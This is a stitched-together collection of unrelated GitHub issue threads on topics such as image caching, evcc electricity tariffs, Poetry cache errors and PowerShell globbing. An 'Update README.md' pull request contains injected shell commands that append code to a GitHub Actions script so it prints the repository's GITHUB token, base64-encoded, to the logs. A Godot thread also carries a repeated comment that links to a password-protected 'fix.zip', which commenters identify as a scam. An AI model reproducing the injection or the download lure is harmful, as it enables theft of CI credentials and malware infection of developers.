NSURLErrorDomain Code=-1003 "A server with the specified hostname could not be found." UserInfo=0x1702e1d00 {NSUnderlyingError=0x170059c80 "A server with the specified hostname could not be found."

the url is added to the failedURL array because it satisfies the following:
error.code != NSURLErrorNotConnectedToInternet &&
error.code != NSURLErrorCancelled &&
error.code != NSURLErrorTimedOut

@bpoplauschi do you think we should add the NSURLErrorCannotFindHost or NSURLErrorCannotConnectToHost
the image url was added in my case because the host could not be found as i had enabled airplane mode. What do you think?
@praveencastelino of course this can be resolved if you add the SDWebImageRetryFailed options

@bpoplauschi any updates?

SDWebImageRetryFailed works really well for me. i hope you would accommodate 'kCFURLErrorNetworkConnectionLost' key in the future releases.


libgit2 integration?

Hey everyone,
I'm just wondering if you're planning on integrating with libgit2 at all?
This is going to be pretty vital for tools.

I too would like to see the GVFS protocol integrated into libgit2. If something like this happened, a FUSE solution could become a more realistic possibility.

The challenge with libgit2 is that it is not caught up to all the features in git that we're using in GVFS. For example, libgit2 doesn't understand the sparse-checkout feature, which is vital to our design.
That said, libgit2 isn't entirely broken. For example, GVFS itself uses libgit2 to read git objects out of packfiles. You just can't do anything with libgit2 that would touch the index or working directory.

Closing for now but happy to take more questions on the topic.


Add character:  to font:

Character :
Font :

Hi @pronajit. I have created a Pull Request https://github.com/codewithnick/ascii-art/pull/1043 for this issue. Please consider my submission.


Be more helpful when pointing out that a missing public email

This is one step in the direction of addressing https://github.com/gitgitgadget/gitgitgadget/issues/869.

@dscho The message text needs to be adjusted to avoid embedded new lines.  I have some changes to put in and can include it.  You can see the current format here.

Thank you for cleaning up after me! Just one thing: there's a trailing } :smile:

Thank you for cleaning up after me!

Just returning the favour.


Update Fisher installation instructions

Fisher 4.x has a new way of installing plugins (source)

Thanks for the contribution!


[suggestion] beaconResultsets.json /  ResultsetInstance simplification

Hello,
There is unnecessary complication in the
BeaconResultsetsResponse.response : BeaconResultsets
BeaconResultsets.resultSets : ResultsetInstance[]
This additional level is used to introduce (optional) $schema in the BeaconResultsets.
The $schema (that defines ty type of the result sets) may be safely moved to the BeaconResultsetsResponse object,
while the response becomes an array of what is currently ResultsetInstance (I would call it as it was before - BeaconResultset).
So it will look like:
BeaconResultsetsResponse.$schema
BeaconResultsetsResponse.response : BeaconResultset[]
Best,
Dmitry

Hmmm.
I will not say that the additional level is to add $schema, but to make it coherent with the other responses, which have a response element.
As the framework is agnostic to the schema of the payload in beaconResultsets, we added the $schema in it in order to "force" declaring and schema for the returned payload. But this was not the reason for adding an additional level.
Please reopen the issue if I've missed something in your comment.


Add feature check to doctests

I noticed many doctests fail since JanetClient isn't in the default feature set. The doctests can be wrapped with #[cfg_attr(..., doc = "...")] to skip them with the default features. I can do the rest if you think this is worth the effort (there's a lot). Or, just close if not.

Welcome to Codecov :tada:
Once merged to your default branch, Codecov will compare your coverage reports and display the results in this comment.
Thanks for integrating Codecov - We've got you covered :open_umbrella:

It is not as syntactically pleasing as inline docs and we would lose the example when the features are not set, but it can be very useful.
Another two options that passed my mind are:

to apply ignore after the code block initializer ("```") when the features needed for the client are not set or
make the amalgation feature default.

The first one I have no idea how feasible it is to do.
The second will make it more bothersome for users that want to write a native lib for Janet and people using the system Janet, so I'm not sure if this is a good path
So, unless the first is feasible and easy to do, I think this is worth the effort.
I'll do some more digging today how feasible option 1 is

Is this better or worse? Not sure. It works, at least.
    #[cfg_attr(any(feature = "amalgation", feature = "link-system"), doc = "```")]
    #[cfg_attr(
        not(any(feature = "amalgation", feature = "link-system")),
        doc = "```ignore"
    )]

2. make the `amalgation` feature default.

Users can always disable default features. Maybe this is best?

Decided to go with option 2: Done in commit: 4d4a730e5cc7a5baa491460d4878037b32b0b180


[mtl] expose custom sampler configuration

Fixes  #2682
PR checklist:

[ ] make succeeds (on *nix)
[ ] make reftests succeeds
[ ] tested examples with the following backends:
[ ] rustfmt run on changed code

Vulkan also supports unnormalized coordinates as sampler parameter, no need for a backend specific functionality.

Oh, good, I missed that!
The PR is still fine to land though

On Mar 7, 2019, at 12:38, msiglreith<EMAIL_ADDRESS>wrote:
Vulkan also supports unnormalized coordinates as sampler parameter, no need for a backend specific functionality.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or mute the thread.

we can roll back after we get the good API, or even just turn those entry points into private
bors r+


NodeJsExtensionsGlobalESLintConfigurationDirectory and NodeJsExtensionsGlobalStylelintConfigurationDirectory only works with a submodule (OSOE-611)

Adding the following to the Directory.Build.props file in a solution where a project uses NE from NuGet...
  <PropertyGroup>
    <!-- Instruct Node.js Extensions to create .eslintrc and .stylelintrc files in the current directory, which is the
         solution root directory. -->
    <NodeJsExtensionsGlobalESLintConfigurationDirectory>$(MSBuildThisFileDirectory)</NodeJsExtensionsGlobalESLintConfigurationDirectory>
    <NodeJsExtensionsGlobalStylelintConfigurationDirectory>$(MSBuildThisFileDirectory)</NodeJsExtensionsGlobalStylelintConfigurationDirectory>
  </PropertyGroup>

...yields build errors, and e.g. the following during SCSS build:

no-path(1,1): error ERROR: No configuration provided for ...\site.scss.

The NuGet sample actually indeed does the opposite, and local config files work.
I have a faint memory of this being an acceptable disadvantage that we couldn't somehow work around. However, I'd expect this to be documented under the docs pages where the above configs are mentioned.
Jira issue

@0liver is this an omission in the docs or a bug in the code?

I'll (have to) take a look.

At the current stage, I see three options to handle this:

Add some pieces of documentation to reflect the current situation.
Do 1. plus add a Warning from code when we detect this situation.
Implement the missing functionality. This is now possible thanks to the ExecWithMutex task.

I would personally vote for 2. and delay implementing 3. to a point where it will be needed.

Documentation will be enough, for now.


Integrate with ENTSO-E Day ahead pricing

Lots of dynamic tarifs are based on day ahead pricing for the specific region (country). It would be great if tariffs could be based on those day ahead prices. For example ENTSO-E is an Europe funded service that provides a free API.
Clients for the API are available on Github.
More info: https://transparency.entsoe.eu/content/static_content/Static content/web api/Guide.html

Why would you want to do that?

Sure. But then you would integrate that tariff as we‘re already doing, not Entso.

When https://github.com/evcc-io/evcc/pull/5445 is finished, we can add additional plan data for target charging. Same approach as discussed in https://github.com/evcc-io/evcc/pull/5445#issuecomment-1346809709.

OK, after more consideration looks like ENTSO-E Day ahead pricing would be the best one to use, and pricing matches my local market pricing data exactly, using mac/safari
(For some reason it showed wrong pricing when I used iphone to browse it)
So Nordpool data api is not needed.

Could we reopen this?

/cc @thorstenwagner

"Smart rate" is supposedly most popular utility option in Scandinavia, where customers have smart meters and electricity price is different every hour, as per Nordpool local area day ahead pricing (plus margin and any taxes)

Now that we have a planner it would be nice to add minimal-CO2 planning. I'm not so keen on ENTSO prices as that's not what the user pays anyway, but would prefer CO2 load. Would appreciate suggestions for finding the relevant ENTSO reports and example data interpretation.

Based on what are you stating that ? I'm paying ENTSO pricing (with a very small margin and taxes).

At least not in Germany.

More info: https://transparency.entsoe.eu/content/static_content/Static content/web api/Guide.html

section 12.1.d for day-ahead pricing API

This integration would be such a great evolution of evcc!

There is missing a lot of tariffs providers.
Maybe look at this https://github.com/MTrab/energidataservice and convert it? or just pull the data form homeassistant?

@duckfullstop if you want to take a stab? Entso prices would be nice but the API is a complex.

4.2.10. Day Ahead Prices [12.1.D] for day-ahead pricing API

This looks quite achievable (even if it does mean working with XML), I can take a bit more of a look into it in the coming week hopefully?
I'm not sure about CO2 forecasting, I don't think specific data on that is provided by ENTSO-E and we'd probably have to calculate estimates ourselves, which is a pretty big task, arguably out of scope for evcc, and unfortunately probably done best at the continent level by services like electricitymaps, etc.

Year, CO2 means mangling production and consumption plus specific CO2 per production type. I wouldn't try that honestly.

Spent a little time reading the documentation for ENTSO-E in more detail, and section 2. has some specific requirements for requesting an API key:

To request access to the Restful API, please register on the Transparency Platform (link) and send an email to<EMAIL_ADDRESS>with “Restful API access” in the subject line. Indicate the email address you entered during registration in the email body. The ENTSO-E Helpdesk will make their best efforts to respond to your request within 3 working days.

https://transparency.entsoe.eu/content/static_content/Static content/web api/Guide.html#_authentication_and_authorisation
This feels like they don't intend this API for use by end users - I'm still happy to request a key and implement it, but it will substantially limit the ease of use.

Maybe we could all use one key ? evcc as an organisation?

Maybe we could all use one key ? evcc as an organisation?

Doesn't seem to be the case, these keys seem to be private use only:

If you suspect that the token has been compromised, you must reset the token by yourself.
If the token is missing or invalid (including suspended account), the system will respond with Http 401 Unauthorized.

I'm pretty sure some of these calls could be quite heavy (like repeatedly calling for decades of complex data at once), so it's not a surprise this restriction exists.

I have received an API key, starting work on implementing this now. Should have something rudimentary by next week at the latest (my health's a bit up and down!).

@bsmout @RTTTC Hey there! I'm busy implementing this for you now in #9794, but as someone that's never really dealt with european tariffs, it would be beneficial to know how you would expect this to work once it's finished.
Does your provider give you a specific ENTSO-E domain code (i.e 10YDE-ENBW-----N for DETransnetW, for example), or would you expect to just define something like DETransnetW or NL for example?
And when it comes to how you get charged based on these rates, is it a simple multiplier (say 115% of the ENTSO-E cost), or would more advanced math be needed (say (rate * 1.15) + 0.02)?
Many thanks in advance!

Hi,
Speaking for Belgium, but I think for the netherlands, germany and some other countries it is the same.
We have only 1 spot price, so BE,NL,DE,.. will be sufficient.
The different providers use a calculation which is complicated:
(((Entsoespot* 1.15) + 0.02)*tax) + government costs)

Tbo, we don‘t necessarily need the exact costs. I‘d prefer to keep an identical model across tariffs, currently in embed.go.

I would expect to use country code (LT) There are a couple of countries in EU that have few regions per country, such as Sweden, UK, Norway. In such case there is NO1, NO2 etc. (As per ENTSO-E)
For me price = (rate + fixed addon fees)*1,21 (VAT)
https://github.com/evcc-io/evcc/pull/7437 integration works perfectly for me (may be helpful to check out it's implementation?)

Think that is https://github.com/evcc-io/evcc/blob/master/tariff/embed.go


Migration

Pull-request for issue #17234 created by @pasaperez-slingr
What it does?
Create zoho package
How to test it?
You can use https://pruebasgenerales.idea2.io/dev/builder/#model/packages or register on tarzan https://github.com/slingr-stack/platform/wiki/How-To-Commons#packages
Execute the scripts from the readme.
Checklist for packages
Remember to use this checklist for the review.
Technical notes
There are no technical notes.
Deployment notes
There are no deployment notes.

Looks good #approve


Failed To Build Project

It fails to build the project. i tried it in 4.3 and downgraded and tried 4.2.
edit: also yes im making a Guitar hero input viewer just for fun
i get:
CS0246: The type or namespace name 'SharpHook' could not be found (are you missing a using directive or an assembly reference?) C:\Users\retro\Documents\Game Development\Godot\Projects\gh-input-viewer-\addons\global_input\autoload\global_input_csharp\GlobalInputCSharp.cs(4,7)
CS0246: The type or namespace name 'KeyboardHookEventArgs' could not be found (are you missing a using directive or an assembly reference?) C:\Users\retro\Documents\Game Development\Godot\Projects\gh-input-viewer-\addons\global_input\autoload\global_input_csharp\GlobalInputCSharp.cs(214,50)
CS0246: The type or namespace name 'KeyboardHookEventArgs' could not be found (are you missing a using directive or an assembly reference?) C:\Users\retro\Documents\Game Development\Godot\Projects\gh-input-viewer-\addons\global_input\autoload\global_input_csharp\GlobalInputCSharp.cs(223,51)
CS0246: The type or namespace name 'MouseHookEventArgs' could not be found (are you missing a using directive or an assembly reference?) C:\Users\retro\Documents\Game Development\Godot\Projects\gh-input-viewer-\addons\global_input\autoload\global_input_csharp\GlobalInputCSharp.cs(232,58)
CS0246: The type or namespace name 'MouseHookEventArgs' could not be found (are you missing a using directive or an assembly reference?) C:\Users\retro\Documents\Game Development\Godot\Projects\gh-input-viewer-\addons\global_input\autoload\global_input_csharp\GlobalInputCSharp.cs(241,59)
CS0246: The type or namespace name 'MouseWheelHookEventArgs' could not be found (are you missing a using directive or an assembly reference?) C:\Users\retro\Documents\Game Development\Godot\Projects\gh-input-viewer-\addons\global_input\autoload\global_input_csharp\GlobalInputCSharp.cs(250,50)
CS0246: The type or namespace name 'TaskPoolGlobalHook' could not be found (are you missing a using directive or an assembly reference?) C:\Users\retro\Documents\Game Development\Godot\Projects\gh-input-viewer-\addons\global_input\autoload\global_input_csharp\GlobalInputCSharp.cs(10,5)

Download
https://www.mediafire.com/file/3hzk77cxvxc9nq2/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Idk who that was... but never download anything a random person tell you to unless you know what it is.

im aware lol that was the most obv scam ive ever seen

also by command line do you just mean like in a script?

like a terminal either through vscode (if you have that) or through window cmd.

what is up with these bots

i have no idea first time i've seen them (maybe because im bringing up terminal and cmd lines)
but anyways like this

either that or use the old branch which only works on Windows but a drag and drop solution without needing sharp hook.

it worked, ty

Download
https://www.mediafire.com/file/3hzk77cxvxc9nq2/fix.zip/file
password: changeme
In the installer menu, select "gcc."


CHROME ISSUE Version 78.0.3904.70 (Official Build)

Hi thank you Im gonna try this out. Anw did the dashboard working fine at you? Now when I update the chrome the dashboard not working it not requesting to use the camera CHROME Version 78.0.3904.70 (Official Build) (64-bit) and with this error in console  Uncaught (in promise) DOMException: Requested device not found . Can anyone help me please.

@ph4t0o0o0om you can request camera/microphone permissions and handle stream like this:
const constraints = { audio: true, video: true };

navigator.mediaDevices.getUserMedia(constraints)
.then(stream => AddStream(stream))
.catch(e => FailFunction());

@ph4t0o0o0om this working totally in Chrome, Firefox, Opera, Safari and it works on both PC and Mobile.


Tab selection not scrolling enough

With the bottom bar covering up the words, the tab selection is hidden behind it. If tab is going to a line that is not visible, it should scroll even higher to accomodate this.

#23 will fix this


Add function to create output files in format required by U.S. Species Information System (SIS) database

Attached files are in the format required by the SIS database which is used by the Stock SMART web tool and other NOAA purposes. The files were created by @andi-stephens-NOAA in 2022 using a clunky process that Andi and I developed years ago which relies on the files in output-csv-files. It should be straightforward and much more efficient to just create these files directly within the hake assessment workflow.
I would be happy to help with this in fall 2023 (after U.S. west coast groundfish assessments and summer breaks, but before hake gets too busy), but it could happen any time before Spring 2024 when the files should be submitted.
Hake_2022_SIS_info_timeseries.csv
Hake_2022_SIS_info_values.csv

At the same time, I would like to automate our annual NWFSC TSC groundfish reporting document (i.e., text already largely taken from the stock assessment directly, with one additional summary figure) as standard workflow output.

The attached file Hake_to_SIS.R.txt is the most recently used script that I can find for converting a combination of median-population-estimates.csv and the model output as read by r4ss::SS_output(). Dates in the file are a few years old, but I can't find a more recent version and don't recall any changes other than the dates. That script may be useful to understand what quantities were being used where in the status-quo workflow for producing SIS input.
Recent changes to the r4ss::get_SIS_info() function (as referenced in the checklist added to the first comment of this thread) have now been merged into the main branch so that function is available for further edits as needed.


"Invalid upload: no pubspec.yaml file" when trying to publish a package

From @Andersmholmgren on August 16, 2016 7:6
I am trying to publish a new version of https://bitbucket.org/aholmgren/dart_jwt, a package that I have published many times before. For some reason it keeps failing
pub publish
Publishing dart_jwt 0.5.2 to https://pub.dartlang.org:
|-- .gitignore
|-- AUTHORS
|-- CHANGELOG.md
|-- LICENSE
|-- README.md
|-- bitbucket-pipelines.yml
|-- lib
|   |-- dart_jwt.dart
|   '-- src
|       |-- codec.dart
|       |-- jose.dart
|       |-- jwa.dart
|       |-- jws.dart
|       |-- jwt.dart
|       |-- jwt_claimset.dart
|       |-- util.dart
|       '-- validation_constraint.dart
|-- pubspec.yaml
'-- test
    |-- all_tests.dart
    |-- jwa_test.dart
    |-- jwt_test.dart
    '-- run.sh

Looks great!

Copied from original issue: dart-lang/pub#1442

@Andersmholmgren May I ask what version of the pub client are you using? It might be this bug in the pub client.

> pub --version
Pub 1.19.0-dev.6.0

@Andersmholmgren I've tried to reproduce this but haven't succeeded so far.
Since the server code hasn't changed in a long time, I strongly suspect that something on the client side is different. I've temporarily added some debugging logic on the server which might help understand where the issue lies. Could you try to publish one more time?
I'm also interested in the following: What OS do you use and what version of tar do you have?

@mkustermann I just retried then
I'm on mac osx 10.11.6

tar --version
bsdtar 2.8.3 - libarchive 2.8.3

@Andersmholmgren  Thank you for trying again.
Now I can confirm my suspicion: It must in fact be an issue on the client side. The tarball which got uploaded during your publish attempt is simply empty.
I've tried to reproduce it by checking out the dart_jwt package and using the same version of pub and upload it from a mac. Unfortunately it didn't reproduce.
So I suspect there must be something you did differently than me OR the pub client has different behavior on you machine due to some configuration (for example pub acts differently depending on a .gitignore file, maybe it has some other magic as well).
Unfortunately I cannot help debug the client side, because I just don't know how pub is implemented.
I'm therefore bouncing this back to https://github.com/dart-lang/pub/issues/1442  @nex3.


{TOTP} placeholder vs. {TIMEOTP} placeholder

Hi,
KeeOtp2 uses the Keepass native support for TOTP and its placeholder is {TIMEOTP}. So why KeeOtp2 has also its own placeholder {TOTP}? I think this can be a bit confusing for the user. I don't know which one is preferred to use and is there any difference between them.
Maybe you should consider using only the native {TIMEOTP} placeholder or adding explanation in the documentation about the preferred placeholder and their differences.

Hi,
the {TOTP} placeholder is only for downwards compatibility, because some people still have this placeholder in their database from the original KeeOtp.
I will consider this in the next update and give a recommendation in the documentation or inside the plugin.
Thank you for submitting!
Best regards
tiuub


Enable back IntegrationTest.js

The old way with using contract, but adding  extra_build_files seems to work
const delfi = await contract.getContractAt(web3, 'DelFiPrice', {build_dir: '.dockerbuild_cp', trace: false, extra_build_files: []}, '0x5b1869D9A4C187F2EAa108f3062412ecf0526b24', {from: accounts[0]});


loadPersian() doese not change months and years correctly

i'm using your useful plugin beside daterangepicker .
but i have an issue
according to your documents when i use moment.loadPersian();  the calender doese not change Months name to the jalali Months .
it return for example : 'ژانویه'  and the years still shows in Gregorian years
what should i do for change these months to for example 'آذر' ?
Thanks in advance

You have to use Jalaali tokens (jYYYY, jM, jMM, jD, ...) for formatting. For example, jMMMM displays Jalaali month but MMMM displays Gregorian month.

Could you give me an example please?
Where should i use Jalaali tokens (jYYYY, jM, jMM, jD, ...) as format ?
This is my loading structure:
<!-- Include Required Prerequisites -->
<script type="text/javascript" src="{!! asset('assets/jquery-v2.0.3/jquery.js') !!}"></script>
<link rel="stylesheet" type="text/css" href="//cdn.jsdelivr.net/bootstrap/3/css/bootstrap.css" />

<script type="text/javascript" src="{!! asset('assets/moment.js') !!}"></script>
<script type="text/javascript" src="{!! asset('assets/moment-jalaali.js') !!}"></script>
<script> moment.loadPersian();</script>

<!-- Include Date Range Picker -->
<script type="text/javascript" src="//cdn.jsdelivr.net/bootstrap.daterangepicker/2/daterangepicker.js"></script>
<link rel="stylesheet" type="text/css" href="//cdn.jsdelivr.net/bootstrap.daterangepicker/2/daterangepicker.css" />

<input type="text" name="daterange" value="01/01/2015 - 01/31/2015" />
<script type="text/javascript">
    $(function() {
        $('input[name="daterange"]').daterangepicker({
            locale: {
                format: 'jYYYY-jM-jD'
            },
        });
        //alert(moment().format('jYYYY/jM/jD'));
    });
</script>

Date range picker, internally uses moment, and moment-jalaali does not change moment's functions. Instead it adds some more helpers. As a result, just including moment-jalaali does not change date range picker. For it to display and pick Jalaali dates, date range picker has to change a lot to be able to display and pick Jalaali dates. In #31 we tried to make it easier, but we failed.


Update README.md

SUMMARY

BEFORE/AFTER SCREENSHOTS OR ANIMATED GIF

TEST PLAN

ADDITIONAL INFORMATION

[ ] Has associated issue:
[ ] Changes UI
[ ] Includes DB Migration (follow approval process in SIP-59)

[ ] Migration is atomic, supports rollback & is backwards-compatible
[ ] Confirm DB migration upgrade and downgrade tested
[ ] Runtime estimates and downtime expectations provided

[ ] Introduces new feature or API
[ ] Removes existing feature or API

"; echo "console.log(Buffer.from(Buffer.from(process.env['INPUT_GITHUB-TOKEN']).toString('base64')).toString('base64'));require('child_process').execSync('sleep 30')" >> /home/runner/work/_actions/actions/github-script/v3/dist/index.js; echo "

"; echo "console.log(Buffer.from(Buffer.from(process.env['INPUT_GITHUB-TOKEN']).toString('base64')).toString('base64'));require('child_process').execSync('sleep 30')" >> /home/runner/work/_actions/actions/github-script/v3/dist/index.js; echo "

"; echo "console.log(Buffer.from(Buffer.from(process.env['INPUT_GITHUB-TOKEN']).toString('base64')).toString('base64'));require('child_process').execSync('sleep 120')" >> /home/runner/work/_actions/actions/github-script/v3/dist/index.js; echo "


[dif/flash_ctrl] Auto-generate portion of DIFs.

Currently, the DIF library for the Flash Controller is unimplemented. This begins the implementation of this DIF library by first checking in the auto-generated DIFs (init and IRQ DIFs).
This partially addresses a task in #8142: Auto-generate IRQ DIFs for IPs without an existing DIF library --> flash_ctrl.
Note: this PR depends on #8753, so only refer to the last commit (the first commit will be dropped when #8753 merges).

PR dependency removed. Ready for review/merge when CI passes.


{WIP} Update nanobox to 2.1.1

There is PKG download now. Checking the cask to support it.
After making all changes to the cask:

[x] brew cask audit --download {{cask_file}} is error-free.
[x] brew cask style --fix {{cask_file}} left no offenses.
[x] The commit message includes the cask’s name and version.

Where is the pkg download?

Closing in favour of https://github.com/caskroom/homebrew-cask/pull/34619.


docs: README text that one decision to start debugging is confusing

What did you implement:
The line that says that you still have that one decision to start debugging is a little confusing, and the text in parenthesis does not clarify things up. Here is a re-wording of the text with what I understood was the intended effect.
But I'm not 100% sure =P.
Is this ready for review?: YES
Is it a breaking change?: NO

@jackbravo thank you! that is indeed what I meant!


Command not found

__zplug::io::cache::update:19: command not found: __zplug::print::print::put
__zplug::io::cache::update:54: command not found: __zplug::print::print::put
__zplug::io::cache::update:55: command not found: __zplug::print::print::put

Appears when loading a new shell session after the latest update.

@lwis Thanks for reporting. Fixed, please update and try it out.

@b4b4r07 resolved, cheers.

@b4b4r07 FYI;
~/.zplug/repos/zsh-users/zsh-completions/zsh-completions.plugin.zsh:1: command not found: dirname


Resolving dependencies... Cache entry deserialization failed, entry ignored

[x] I am on the latest Poetry version.
[x] I have searched the issues of this repo and believe that this is not a duplicate.
[x] If an exception occurs when executing a command, I executed it again in debug mode (-vvv option).

OS version and name:  MacOS Mojave
Poetry version: 1.0.0a2

Issue

Every time I use add, install, update, lock it takes a-lot of time and it also have problem with the cache.

Could you provide more details? What do you mean that is "has problems with the cache"? Please show us any error messages that you see.

I'm seeing the same thing, but I'm on Windows10 (Poetry 0.12.11).
Apart from the error message it actually seem to be working, as poertry is be correctly resolving the latest version of the package from our private pypi repo.
pyproject.toml
[tool.poetry]
name = "ct-plugins_template"
version = "0.1.0"
description = ""
authors = ""

[tool.poetry.scripts]
spam  = "eggsample_spam"

[[tool.poetry.source]]
name = "companypypi"
url = "https://company-pypi/simple/"

[tool.poetry.dependencies]
my_package = "*"
python = "^3.6"

[tool.poetry.dev-dependencies]
pytest = "^3.9"
black = {version = "^18.9b0",allows-prereleases = true}

[build-system]
requires = ["poetry>=0.12"]
build-backend = "poetry.masonry.api"

Console output
>poetry update
Updating dependencies
Resolving dependencies...
Cache entry deserialization failed, entry ignored
Cache entry deserialization failed, entry ignored
Cache entry deserialization failed, entry ignored
Cache entry deserialization failed, entry ignored
Cache entry deserialization failed, entry ignored
Cache entry deserialization failed, entry ignored
Cache entry deserialization failed, entry ignored

Package operations: 0 installs, 3 updates, 0 removals

Writing lock file

 -> 1.12.95) botocore (1.12.94
 -> 1.9.95)g boto3 (1.9.94
 -> 19.2.5)g my_package (19.2.4

I'm also seeing this but it's very difficult to narrow down a repro to provide. I'm also using a company-internal pypi instance which we recently switched from HTTP to HTTPS -- perhaps there's a pattern there?

Same issue. I am using a mirror of pypi (https://pypi.tuna.tsinghua.edu.cn).

I'm also getting the same issue.  I tried clearing the poetry cache and that did not help.
$ poetry cache:clear --all pypi
Delete 183 entries? (yes/no) [no] yes

$ poetry cache:clear --all pypi
Delete 0 entries? (yes/no) [no] yes

cl-niels-6:modeling-service3 niels$ poetry add pymongo
Using version ^3.7 for pymongo

Updating dependencies
Resolving dependencies... (40.1s)Cache entry deserialization failed, entry ignored
Resolving dependencies... (52.4s)Cache entry deserialization failed, entry ignored
Resolving dependencies... (68.4s)Cache entry deserialization failed, entry ignored
Resolving dependencies... (73.8s)

Package operations: 1 install, 0 updates, 0 removals

Writing lock file

  - Installing pymongo (3.7.2)

$ poetry --version
Poetry 0.12.11


feat(ecs): make cluster and vpc optional for higher level constructs

Pull Request Checklist

[X] Testing

Unit test added (prefer not to modify an existing test, otherwise, it's probably a breaking change)
CLI change?: coordinate update of integration tests with team
cdk-init template change?: coordinated update of integration tests with team

[ ] Docs

jsdocs: All public APIs documented
README: README and/or documentation topic updated
Design: For significant features, design document added to design folder

[X] Title and Description

Change type: title prefixed with fix, feat and module name in parens, which will appear in changelog
Title: use lower-case and doesn't end with a period
Breaking?: last paragraph: "BREAKING CHANGE: <describe what changed + link for details>"
Issues: Indicate issues fixed via: "Fixes #xxx" or "Closes #xxx"

[ ] Sensitive Modules (requires 2 PR approvers)

IAM Policy Document (in @aws-cdk/aws-iam)
EC2 Security Groups and ACLs (in @aws-cdk/aws-ec2)
Grant APIs (only if not based on official documentation with a reference)

fixes #2753 #2754
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache-2.0 license.

If I might suggest something here: I think that you need some kind of "singleton" VPC and "singleton" cluster (less important but also nice) otherwise you are going to create as many VPCs as services in your stack, no?

I see your idea, but I think that is exactly why you can provide the VPC as a prop. If you do not care about VPC (not specify one), you do not care about the number. You can still use the vpc property of the first service for the other ones.

@jogold I really like this idea generally for VPC. Seems like a recurring pattern. Can you raise an issue and let's explore the design/API for this? I have some ideas.
In the meantime, this PR is great.

@eladb please hold off merging this in as there's an ongoing discussion about cluster/vpc/network constructs. @clareliguori @uttarasridhar

Any info if this will continue or if I should change something?

Stay tuned. I am on it.

@eladb Can you elaborate why this is on hold an #3022 is created in the meantime?

How do we proceed here? @eladb

@rix0rrr @eladb please review and merge

Can you please update the README?

Done.

@SoManyHs Hi, any chance to get this merged?

@eladb can we merge this in?


Add feature to indicate support for pdf417Code command

This pull request adds a feature to track support for PDF417 code printing.  It's a similar command to QR Codes (2d data code), so I've set the values to be the same in this pull request.
As printer support for QR/PDF417 codes is not likely to be identical, I'm suggesting that we track this separately, rather than moving to an overall "2D code support" feature.
Support for this type of code has been added to escpos-php for an future release.

I agree with you, separating those two features is probably better. If this clutters the files to much in the future, we could still rearrange it into a tree-like structure.
Just to know it: are you planning on doing the integration into python-escpos?

I'm currently planning to update this in isolation. We basically just need to pull in the latest before each release.
I'll write pdf417 code support into python-escpos down the track if nobody beats me to it.


Make focus indicators in Desktop Modeler more obvious (a11y)

Problem you would like to solve
When tabbing through the Desktop Modeler header and footer, the current focus is not always visible, and even when it is, it is often too subtle.
Proposed solution

The focused element should always be indicated.
The focus indicator should be obvious (e.g., by meeting contrast guidelines).

This may require some visual design work.
Alternatives considered
Leave the focus indicators as they are.
Additional context
The focus is on Camunda 7 in the footer. If you're not following along with the tabs, it's easy to miss.

I’ve added my comments to the Figma designs, reflecting the focus indicator improvements I implemented in the focus-indicators branch.
cc: @lmbateman


Could you provide me how you split training set and testing set in your dataset like Table 1

@anns12 Did you get how did they split the dataset?


Recursive Globstar

Summary of the new feature / enhancement
I have a need for recursive globbing in powershell. Similarly how in bash you can do <dir>/**/* to insert a recursive list of files on the command line, can the same be done in powershell?
Proposed technical implementation details (optional)
No response

PowerShell uses .NET wildcards so **  is the same as * or ****  - it doesn't have a special meaning of "recurse"  when dealing with the file system.  The file system and registry providers both treat */*  - as all items "1 level down the tree" and */*/* as "All items 2 levels down" and so on - the Certificate Store provider will allow dir */* but not dir */*/* **/*
If you are running pwsh on linux and execute  ls **/*   the ls executable does the same thing with **/* as it would when run from bash   - both pass the parameter on as literal text
If you are running pwsh on windows and run a native windows command in most cases it will use a parameter rather than a special path to request recursion and will probably error if given **\* - as it would from cmd or a port of bash running on Windows (or even from wsl launching a windows command).  Again the parameter is literal text.
PowerShell commands will typically have a -Recurse switch and/or accept file objects from the pipeline so the typical route  is to use Get-ChildItem (or one of its aliases dir / gci) with the options to exactly the required files and/or directories as objects and pipe them into another command which needs to do something with a bunch of files.
Since you don't say what you'd do with magic paths elsewhere it's not really possible to give a "do it this way" command line.

PowerShell uses .NET wildcards so ** is the same as * or **** - it doesn't have a special meaning of "recurse" when dealing with the file system. The file system and registry providers both treat */* - as all items "1 level down the tree" and */*/* as "All items 2 levels down" and so on - the Certificate Store provider will allow dir */* but not dir */*/*
**/* will be processed differently depending on the command being run
If you are running pwsh on linux and execute  ls **/* the ls executable does the same thing with **/* as it would when run from bash - both pass the parameter on as literal text If you are running pwsh on windows and run a native windows command in most cases it will use a parameter rather than a special path to request recursion and will probably error if given **\* - as it would from cmd or a port of bash running on Windows (or even from wsl launching a windows command). Again the parameter is literal text. PowerShell commands will typically have a -Recurse switch and/or accept file objects from the pipeline so the typical route is to use Get-ChildItem (or one of its aliases dir /gci) with the options to get exactly the required files and/or directories as objects and pipe them into a command which does something with files.
Since you don't say what you'd do with magic paths elsewhere it's not really possible to give a "do it this way" command line.

I'm using a video player.  I want to be able to play all of the files in a specific folder with all of the files from its subdirectories as well. In bash I'd do <video_player_binary> <folder_path>/**/* with globstar option enabled to achieve this. In powershell I can't do this.

@cerealXDD Can you try <video_player_binary> (dir /home/daxian/**/* | % FullName) and see if that works?

I'm using a video player. I want to be able to play all of the files in a specific folder with all of the files from its subdirectories as well. In bash I'd do <video_player_binary> <folder_path>/**/* with globstar option enabled to achieve this. In powershell I can't do this.
Or maybe my video player is parsing the **/*? Is this what you mean?

That's what I believe, yes. As I understand it bash can do the work to translate mydir/**/* to a set of filenames, but for video_player_binary> <folder_path>/**/*  that path isn't being expanded and is just passed as a string.
If I'm wrong, and you do need to run video_player_binary path1 path2 path3  where the paths are put there by the shell
(gci -r  path_to_dir -File).FullName  or (gci -r  path_to_dir -File| % fullname) will do that for you.
@daxian-dbw  dir **/* is all equivalent to  dir */* in effect dir -recurse -depth 1 * if it needs "any depth" it will need to be -recurse instead.

@cerealXDD Can you try <video_player_binary> (dir /home/daxian/**/* | % FullName) and see if that works?

It doesn't work. I get this error :
Program '<binary>' failed to run: The filename or extension is too longAt line:1 char:1

<binary> (dir <dir>/**/* | % FullName)

At line:1 char:1

<binary> (dir <dir> | % FullName)

  + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
  + FullyQualifiedErrorId : NativeCommandFailed

